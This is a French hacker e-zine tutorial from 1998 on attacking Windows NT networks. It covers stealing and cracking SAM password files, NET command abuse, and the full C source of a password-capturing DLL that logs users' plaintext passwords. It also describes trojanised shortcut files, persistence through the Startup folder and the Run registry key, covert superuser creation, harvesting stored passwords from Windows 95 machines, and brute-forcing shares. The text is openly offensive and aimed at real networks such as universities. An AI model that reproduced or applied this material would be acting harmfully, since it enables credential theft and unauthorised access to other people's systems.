WINDOWS NT [ Les bases #1 ]
Par Le Saint (~Cyberjunk) Snipper@Hotmail.com
Le 22 novembre 98. (Bientôt l'an 2000 !)
1. Introduction
2. Les réseaux Windows NT
3. Les fichiers SAM.*
3.1 Ou sont-ils ?
3.3 Hack de NT en local
3.2 Comment cracker les mots de passe ?
4. Les commandes NET
4.1 Gestion des utilisateurs
- Net Accounts
- Net Group
- Net Localgroup
- Net User
4.2 Informations systéme
- Net Computer
- Net Config
- Net Config Server
- Net Session
4.3 Ressources réseau
- Net Continue/Pause
- Net File
- Net Share
- Net Start/Stop
- Net Use
- Net View
5. Les chevaux de troie
5.1 FPNWCLNT.DLL
5.2 Les raccourcies (.LNK)
5.3 Ou le mettre pour qu'il se lance au demmarrage ?
5.4 Quelque idées de conception
6. Windows 95/98, Failles de sécurité dans un domaine Windows NT
[ Rem: Cette partie ne traite pas le méthode Netbios ]
5.1 Qui a dit que NetBios était pour les lames ?
5.2 Récupération de données pour une attaque sur NT
5.3 NAT [NetBios Auditing Tool]
7. Conclusion
1. Introduction
Tout d'abord je tiens à préciser que ce texte n'est pas un RIP,
mais il est obligé qu'il ressemble à certain autre vu le nombre
d'article
qui parle déjà de NT. A quoi sert -il ? ou A qui est-il destiné alors ?
Déjà, il est en français, et a mon avis il est destiné à ceux qui ont
envi de se mettre à jour. La triste vérité est là ... Windows NT
s'impose
dans le monde (impitoyable =) ) des serveurs... Il devrait vous
permettre
d'aller un plus loin que le NetBios, ou de comprendre des réseaux
Microsoft
dans votre université par exemple ou encore de bien préparer la future
doc de Rhino 9, NT War Doc si vous n'êtes pas familier avec ce systéme.
2. Les réseaux Windows NT
Windows NT commme la pluspart des OS Réseaux, accepte plusieurs
protocoles et
les fait fonctionner côte à côte.
------------------+-------------------------------------------------------------
+ NetBios/NetBeui | C'est le plus simple de tous les protocoles.
developpé par
| Microsoft, au temps du MsDos. Il comporte moins de 20
| commandes.
------------------+-------------------------------------------------------------
+ NWlink | A partir de NT 3.5x.
------------------+-------------------------------------------------------------
+ TCP/IP | Je pense que c'est la peine de m'attarder la dessus.
------------------+-------------------------------------------------------------
+ DLC | Le protocole Data Link Control s'appuie sur le
standart
| 802.2 et est utilisé entre NT et les calculateurs Mainframes
| ou des compsants spécifiques commme les cartes JetDirect(HP)
| ou markVision (LexMark).
------------------+-------------------------------------------------------------
+ IPX/SPX | Réseaux utilisés pour communiquer avec NetWare
(Novell)
------------------+-------------------------------------------------------------
3. Les fichiers SAM.*
En fait sur un système NT Server, les mots de passe sont enregistrés dans un fichier
appeller Sam, \WINNT\system32\Config\Sam. Le problème de celui ce c'est qu'il est
en utilisation permanente par le système. Donc il vous est impossible de l'ouvrir,
et de le copier. Pour remedier a ce probleme, il existe de petit executable qui se
chargeront pour vous de pouvoir vous autoriser a manipuler le fichier cible
(samdump.exe par exemple).
Par contre il faut savoir qu'il existe un autre Sam sur \WINNT\Repair\sam._
Celui-ci est créer a l'installation de windows et contient donc
le password administrateur.
Rem: A l'inverse du premier, il n'est pas en utilisation permanente.
Ces fichiers (l'un ou l'autre) deviennet donc la cible d'une attaque
sur NT, car l'important c'est d'avoir l'admin pour des raisons simples,
avoir les droits d'accès totals sur la machines, et bien souvent
sur tout le réseau =) .
Une technique tres simple consiste a booter avec une disquette dos,
monter la partition NTFS avec 'ntfsdos.exe' et aller chercher le
fichier de mot de passe.
Une autre, basé sur le même principe, peut se faire depuis Linux.
Comme c'est le cas dans mon univ, nous avons Linux/Nt en multiboot.
On peut donc monter la partition Ntfs et aller chercher le fichier.
Rem: Il faut être root pour utiliser la commande mount.
----
3.3 Comment Cracker les mot de passe ?
L0pht (www.l0pht.com) sont auteur d'un tres beau shareware appeller L0phtcrack,
qui permet d'ouvrir un Sam, et de lancer du brute force dessus. Assez pratique
la version actuelle contient même le samdump intégré.
Pour ce qui est du shareware, vous pouvez l'utiliser pendant 1 semaine.
Mais bon, je vou cacherez pas que le crack est dispo sur astalavista =)
Toute fois, il y a aussi un programme en C dispo dans Phrack Issue 50,
www.phrack.com (www.2600.com/phrack). Choisissez votre arme =)
4. Les commandes NET
Sous NT, pratiquement tout peut se être paramétré en utilisant ces
commandes.
L'interêt du paragraphe suivant n'est pas de re-ecrire l'aide ... =)
Mais en fait, de vous faire voir ce qui est a votre portée depuis
une station de travail, comment obtenir des informations sur les
utilisateurs
ou mot de passe par exemple ou encore comment faire des manips
interessantes par rapport
à la config réseaux (Domaines, Partage etc ....)
L'interet secondaire de ces commandes, est de pouvoir ecrire des .bat
intéressant ... =)
En rapport avec les chevaux de trois !!! Mais vous l'aviez déja compris
j'en suis sûr !
4.1 Gestion des utilisateurs
Si vous taper cette commande sans paramétre vous obtenez les infos
relatifs
au mot de passe, durée de validité, nombre de caractéres ...
--------------------------------+---------------------------------------------------------
/FORCELOGOFF:[minutes|NO] | Indique en minute la durée d'une
session usr sur le
| serveur. Par défaut epêche une déconnexion forcée.
--------------------------------+---------------------------------------------------------
/MINPWLEN:[longueur] | Taille du mot de passe
--------------------------------+---------------------------------------------------------
/MAXPWAGE:[jour|unlimited] | Durée en jour de la validité des mot
de passe
--------------------------------+---------------------------------------------------------
/MINPWAGE:[jours] | Au bout de combien de jour le pass doit etre
changer
--------------------------------+---------------------------------------------------------
/UNIQUEPW:[nombre] | Repete le MEME mot de passe. Valeur max 8
--------------------------------+---------------------------------------------------------
/DOMAIN | La commande s'excutera sur le Serveur de domaine et pas
| en local.
--------------------------------+---------------------------------------------------------
Affcihe les noms de groupe sur le serveur.
--------------------------------+---------------------------------------------------------
/ADD | Ajoute un groupe
--------------------------------+---------------------------------------------------------
/DELETE | Supprime un groupe
--------------------------------+---------------------------------------------------------
/DOMAIN | La commande s'excutera sur le Serveur de domaine et pas
| en local.
--------------------------------+---------------------------------------------------------
Même chose sur la machine locale.
Permet de gérer les comptes utilisateurs sur le serveur.
Même si vous êtes sur un station de travail, cette commmande
n'agit que sur le serveur.
Exemple: net user login_user mot_de_pass [POUR LA SUITE VOIR LES PARAMS
SUIVANTS]
--------------------------------+---------------------------------------------------------
/ADD | Ajoute un user
--------------------------------+---------------------------------------------------------
/DELETE | Supprime un user
--------------------------------+---------------------------------------------------------
/DOMAIN | La commande s'excutera sur le Serveur de domaine et pas
| en local.
--------------------------------+---------------------------------------------------------
/ACTIVE:[YES|NO] | Active ou désactive un compte user
--------------------------------+---------------------------------------------------------
/EXPIRES:[date|NEVER] | Faire désactiver un user a une date spécifique
--------------------------------+---------------------------------------------------------
/HOMEDIR:chemin | Chemin du dossier de basede l'usr
--------------------------------+---------------------------------------------------------
Ajouter un ordinateur dans un domaine.
Exepmle: NET COMPUTER \\ip_de_l_ordi [PARAMATRES]
--------------------------------+---------------------------------------------------------
/ADD | Ajoute un ordi
--------------------------------+---------------------------------------------------------
/DEL | Supprime un ordi
--------------------------------+---------------------------------------------------------
Renvois des infos d'une machine.
Exemple: NET CONFIG [PARAMETRE]
--------------------------------+---------------------------------------------------------
SERVER | Renvoie des infos sur la config du server
--------------------------------+---------------------------------------------------------
WORKSTATION | idem pour la station de travail
--------------------------------+---------------------------------------------------------
Permet de configurer de façon particuliére les serveur.
Exemple: NET CONFIG SERVER [PARAMETRE]
--------------------------------+---------------------------------------------------------
/AUTODISCONNECT:m | Durée de la déconnexion automatique si inactivité
--------------------------------+---------------------------------------------------------
/HIDDEN | Permet de cacher un ordi lorsque l'on
demande d'afficher
| la liste des serveurs.
--------------------------------+---------------------------------------------------------
Appelle et termine les sessions d'un ordi du réseaux.
Exemple: NET SESSION \\ip_ordi [PARAMETRE]
--------------------------------+---------------------------------------------------------
/DELETE | Termine la connexion sur un autre ordi
--------------------------------+---------------------------------------------------------
Suspend ou active un service.
Exemple: NET PAUSE/CONTINUE [service]
Disponible que sur les serveurs, cette commande permet de ferme les
fichiers partagé et
Sans option elle renvoi la liste des fichiers ouverts sur le serveur
avec leurs numéro.
Exemple: NET FILE [numéro|/DELETE]
--------------------------------+---------------------------------------------------------
/CLOSE | Ferme le fichier
--------------------------------+---------------------------------------------------------
La commande NET SHARE permet de consulter et de modifier les partages
d'un serveur.
Sans option, elle renvoient des informations sur les ressources
partagées.
Exemple: NET SHARE nom_de_partage=chemin [PARAMETRES]
--------------------------------+---------------------------------------------------------
/USERS:nombre | Nbe de user ouvant y aller en même temps
--------------------------------+---------------------------------------------------------
/DELETE | Arrette le partage
--------------------------------+---------------------------------------------------------
Arrette ou demarre un service.
Exemple: NET START/STOP [service]
Elle permet de se connecter a un ordianteur distant.
Sans option elle renvoie la liste des ressources partagées d'un
ordinateu avce
quelques bien spécifique.
Exemple: NET USE \\Ip_de_l_ordi [mot_de_passe] [PARAMETRES]
--------------------------------+---------------------------------------------------------
/USER user | Nom de l'utilisateur avec lequel la connexion sera
| établie (login...)
--------------------------------+---------------------------------------------------------
/HOME | Relie l'utilisateur a son dossier d'origine
(HOME ...)
--------------------------------+---------------------------------------------------------
/DELETE | Terminer une connexion
--------------------------------+---------------------------------------------------------
/PERSISTENT [YES|NO] | Rétablir a la prochaine ouverture ?
--------------------------------+---------------------------------------------------------
Affcihe les ressources partagées.
Exemple: NET VIEW \\ip-de_l_ordi
5. Les chevaux de troie
[Trouve dans le MH D de Rhino9 ]
Cette Dll permet d'obtenir des noms d'utilisateurs et des mots de passe
sir le
répertoire \WinNT\System32 est en mode Lecture et Ecriture. Le résultat
est
mis dans un fchier sur \temp.
Pour ma part je n'a jammais trouver de tel systéme pour l'instant mais
voila
quand même la source .. Au cas ou v êtes plus chanceux que moi. :)
------------- cut --------------
#include
#include
#include
struct UNI_STRING {
USHORT len;
USHORT maxlen;
WCHAR *buff;
};
static HANDLE fh;
BOOLEAN __stdcall InitializeChangeNotify ()
{
DWORD wrote;
fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
0);
WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
return TRUE;
}
LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
struct UNI_STRING *passwd)
{
DWORD wrote;
WCHAR wbuf[200];
char buf[512];
char buf1[200];
DWORD len;
memcpy(wbuf, user->buff, user->len);
len = user->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "User = %s : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);
memcpy(wbuf, passwd->buff, passwd->len);
len = passwd->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "Password = %s : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);
sprintf(buf, "RID = %x\n", rid);
WriteFile(fh, buf, strlen(buf), &wrote, 0);
return 0L;
}
------------- cut --------------
5.2 Les raccourcies (.LNK)
Le grand interêt de ces fichiers c'est que si vous pouvez les modifer
et glisser
un de vos gentils script à l'interieur. Je m'explique =)
Vous avez chez vous préparé un .Bat (Ou un .Reg) en jouant avec les
commandes NET,
qui Partage le repertoire de celui qui l'execute.
Admettons, que sur le bureau commun aux utilisateurs traine un
wordpad.lnk.
Si vous avez les droits, rien ne vous empêche de lancer un script
qui partagera le repertoire HOME de l'utilisateur. Une autre
application,
pourait ce passer sur serveur partagé ou tout le monde met ce qu'il
veut.
Assez fréquent dans le université pour mettre en comun des ressources.
Il Pourrait trainer par la un Pussy.lnk .. De toute façon je vous
je vous fais confiance poour trouver ce qu'il faut !
5.3 Ou le mettre pour qu'il se lance au démmarage ?
Pour faire exécuter une commande au démarrage vous avez le choix
entre le menu démarrer ou la base de registre.
Les répertoire suivant corresponde au Menu Démmarrer :
- C:\WinNT\Profiles\Default User\Start Menu\Programs\StartUp ~ US
- C:\WinNT\Profiles\Default User\Menu Démarrer\Programmes\Démarrage ~ FR
Sinon vous pouvez aussi le placer dans la base de registre:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
Faites, Ajouter Châines, Puis taper le chemin de votre Script.
5.4 Quelques idées deconception:
Grâce au commande NET, vous pouvez donc pratiquement configurer
ou reconfiguer tous les paramétres réseaux et donc par
conséquences obtenir pratiquement ce que vous voulez d'un
utilisateur.
N'oubliez pas que si vous n'avez pas les droits
pour aller dans des répertoires clé du systéme, certain eux l'ont,
arrangé vous donc qu'il lance votre script et qu'il facent ce que vous
vouliez
ou carrement qu'il vous donne les droits =)
Un autre exepmle serait de faire ajouter un Super-utilsateur qui
disparaitra au bout de 1 jour par exepmle.
Je vous conseille vraiment d'installer WinNT et de tester vos
programmes en Local.
6. Windows 95/98, Failles de sécurité dans un domaine Windows NT
Cette partie ne re-explique pas la methode NetBios mais à pour
objectif de vous montrer quelques techniques d'attaques sur un
serveur NT, en passant par des machines 95 ou 98 accéssible NetBios.
6.1 Qui a dit que NetBios était pour les lames ?
Je tiens a rappeller pour ce qui avait déja mis NetBios au placard,
peuvent ressortir leur attirail. Malgres le fait que ce procédé
soit tres connus par la pluspart d'entre vous, je vous garantie qu'il
marche encore tres bien (Surtout chez les petits ISP locaux),
et c'est parfois un faille dans un réseau NT pourtant sécurisé.
6.2 Récupération de données pour une attaque sur NT
Notre objectif reste toujours un serveur NT. Sur la machine 95,
ramassez tout
ce qui tourne autour des utilisateurs.
- .pwl ~ Mot de passe de login sous 95, forte chance pour
que ce soit les meme que pour NT. [CRYPTE]
- ws_ftp.ini ~ Contient des mots de passe sauvgardés sur accés FTP.
[CRYPTE]
- pmail.ini ~ Contient des mots de passe de messagerie,
par fois c'est le même que le password de login. [CRYPTE]
- eudora.ini ~ Idem [CRYPTE]
- mirc.ini ~ regarder la configuration du proxy. [CLAIR]
Une fois des mots de passe trouvés, cela vous constitue un bon petit
dicotionnaire pour NAT.
6.3 NAT [NetBios Auditing Tool]
Je pense que la majorité d'entre vous le connaissent déjà mais je
tenniat à le rappeller.
Ce petit utilitaire, permet de faire du brut force sur des ressources
partagé.
Son instalaltion est simple, un fichier contenant les noms
d'utilisateurs et
l'autres les mots de passes.
NAT.EXE Disponible sur Technotronic.
Interface graphique, Disponible sur Rhino9.
7. Conclusion
J'espere que ce petit article vous aura permis d'apprendre quelque
choses !
La suite devrait plus touvcher la base de registre, et le S.A.M
(Account admin).
Si vous avez une question ou un commentaire -> Snipper@Hotmail.com .
|